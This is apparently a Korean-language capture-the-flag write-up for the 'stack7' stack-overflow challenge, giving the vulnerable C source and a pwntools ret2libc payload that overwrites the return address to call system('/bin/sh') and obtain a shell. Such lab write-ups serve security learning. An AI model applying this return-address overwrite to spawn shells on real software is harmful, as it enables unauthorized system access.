stack7 의 소스코드는 다음과 같다.

#include <stdlib.h>#include <unistd.h>#include <stdio.h>#include <string.h>char *getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xb0000000) == 0xb0000000) {
      printf("bzzzt (%p)\\n", ret);
      _exit(1);
  }

  printf("got path %s\\n", buffer);
  return strdup(buffer);
}

int main(int argc, char **argv)
{
  getpath();
}

해당 문제는 ROP 공격 기법을 통해 풀어낼 수 있다.

우선 main 에서 RET 까지 오프셋을 구해보자.

libc.so.6 에서 binsh 와 system 에 주소를 불러와 RET에 OVER right 하는게 핵심 풀이 방법이다.

그렇게 작성한 페이로드는 다음과 같다.

from pwn import *

p = process('./stack7')

offset = 80

ret = p32(0x8048362)
binsh = p32(0xf7db5faa)

trash = p32(0xAAAABBBB)

systme = p32(0xf7c4c800)

payload = b'A' * offset + ret + systme +trash + binsh

p.sendline(payload)

p.interactive()

RET 값에는 그대로 덮고 이후 system + dummy + binsh 를 통해 쉘을 실행시키는 구조다.

해당 페이로드를 전송하면 쉘을 획득할 수 있다.

야호 성공이다 !